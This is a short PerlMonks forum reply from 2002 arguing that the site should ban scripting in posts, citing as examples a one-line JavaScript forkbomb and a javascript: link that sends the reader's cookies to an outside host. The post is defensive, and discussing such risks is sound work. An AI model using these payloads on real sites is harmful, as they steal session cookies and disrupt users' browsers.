Clear questions and runnable code get the best and fastest answer |
|
PerlMonks |
Re: Filtering potentially dangerous URI schemas in <a href="...">by Juerd (Abbot) |
on Oct 21, 2002 at 07:06 UTC ( [id://206782]=note: print w/replies, xml ) | Need Help?? |
I agree. You should really not be able to use any scripting in nodes. Some argue that dangerous links can be protected, but I think that if a link really is dangerous, it should not be a link - give us the URL in plain text, if you have to. Javascript forkbombs (for(;;) window.open(document.location)) and cookie stealers (<a href="javascript:'http://foo.com/?c='+document.cookie">) are too easy to do, and I don't think PM users should be given the power. There's the ability of using all Javascript you want on home nodes that can sometimes be entertaining, but I think we shouldn't be allowed to do any scripting at all.
In Section
Perl Monks Discussion
|
|